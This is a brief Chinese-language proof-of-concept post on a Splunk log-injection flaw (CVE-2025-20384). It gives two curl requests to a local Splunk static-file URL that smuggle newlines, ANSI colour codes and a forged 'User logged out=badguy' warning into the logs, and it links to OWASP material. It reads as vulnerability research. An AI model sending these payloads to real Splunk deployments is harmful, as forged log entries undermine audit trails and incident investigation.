SPLUNK CVE-2025-20384

嗯，我只是读了我朋友发给我的东西，然后开始胡乱敲一些蹩脚的菜鸟 javascript 代码

日志注入/伪造/投毒/混淆类型 POC

请阅读这篇文章 OWASP Log Injection

TL;DR

• 寻找静态文件，传递它并附加一些随机参数
• 所以，我执行 curl -k "https://localhost:8000/en-US/static/app/search/application.css%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----" 或者 curl -k "https://localhost:8000/en-US/static/app/search/application.css%1B[31mANSI_TEST_RED%1B[0m%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----"
• 如果你看到一些随机换行符出现，那就是投毒，可能会觉得还好，因为它只是一些“普通”的投毒，但如果被重点针对，就会很烦人。

参考

链接到 CVE 记录